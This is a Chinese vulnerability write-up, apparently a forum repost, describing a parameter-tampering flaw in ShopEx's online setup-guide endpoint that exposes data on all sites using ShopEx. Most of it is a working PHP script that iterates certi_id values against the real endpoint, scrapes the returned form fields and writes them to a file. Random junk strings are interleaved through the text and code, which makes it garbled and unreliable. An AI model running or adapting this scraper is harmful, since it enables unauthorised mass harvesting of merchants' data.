ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
详细说明：
问题出现在shopex 网店使用向导页面



http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=

3 z' c9 e2 f0 D# a( ]
% F  c' ^" [- S* ^
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
9 k( \5 R6 s7 m7 V
. Z  @& h. n: d/ P5 H- J/ [

我们修改certi_id 即可遍历所有使用了ShopEx程序的网站

1 P$ J) Q1 |3 Q! u$ U, b* O3 l

<?php
% Q, F$ A# e/ C: ?, H+ O9 }5 x1 B
/ u. J6 `2 P, x3 X                for ($i=1; $i < 10000; $i++) { //遍历

9 J+ B; c* z4 v7 h( d                        ShowshopExD($i);

2 h. {! a1 r* b$ _; W5 Z                }

0 |* w# g" [; b! {                function ShowshopExD($cid) {

                $url='http://guide.ecos.shopex.cn/step2.php';

                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

& v7 K6 h+ |3 A( k! p# z8 ?. U        $url = $url.'?refer='.$refer;

6 c, a- N) X- v% _+ W9 U        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

; `9 ?0 Y+ ~* d        $result = curl_exec($ch);

        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

* y3 E- N. V$ z4 E        if(strpos($result,$refer))
8 v, D/ K# ^% c9 O; u! j# V
+ e9 ~* @8 ]( c- @3 U) d7 E        {

                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

6 M4 b) k4 |1 s- G" G                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
$ t" e2 H: ]  A% l7 d
                foreach ($value[1] as $key) {
+ B8 ]. @" O5 O) \( H6 z$ y
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
) M8 n) Z% e  \9 I# H9 i
, R2 ]5 f+ f% u, D1 G1 h. h                        echo $res[1][0].':'.$res[3][0]."\r\n";
: {2 x9 N/ c' w1 f9 L5 D
& l6 t4 G/ {6 L5 Z3 v6 Z  V2 H                        $col =$res[1][0].':'.$res[3][0]."\r\n";
" b& p% W+ _/ [; m2 |1 E& M
) Z$ S6 l2 @" ?2 Z                        fwrite($fp, $col, strlen($col));
& ~2 K9 n: l8 g8 W* k
' z( }* m  \$ j) z# `2 {5 N                }

- ^) Q* u0 L/ A% i7 G! |* |% j                echo '--------------------------------'."\r\n";
. w* }7 M! K2 S
                fclose($fp);
! P1 o0 Q$ ^# w6 \* F) z
4 R) i5 W4 o/ O        }
& ?9 M4 c" o( L4 t& Q, {+ o) Q
& ]. O: ^& D" e6 J+ W2 Z% V. r        flush();
6 y7 j  l+ {* ?
1 _  V7 s+ I; W- x2 d1 H3 {" @* D' k        curl_close($ch);

, }1 a! u3 B% S9 Z1 U                }

) t6 N* l, g( M, l3 ^# c7 Q" T?>
: J4 @3 X1 e0 ^, ]( C' o3 K4 Y漏洞证明：
, }: o; I9 f( {' C2 c2 i( Ahttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
$ W2 d7 j" s: I3 P' k: Irefer换成其他加密方式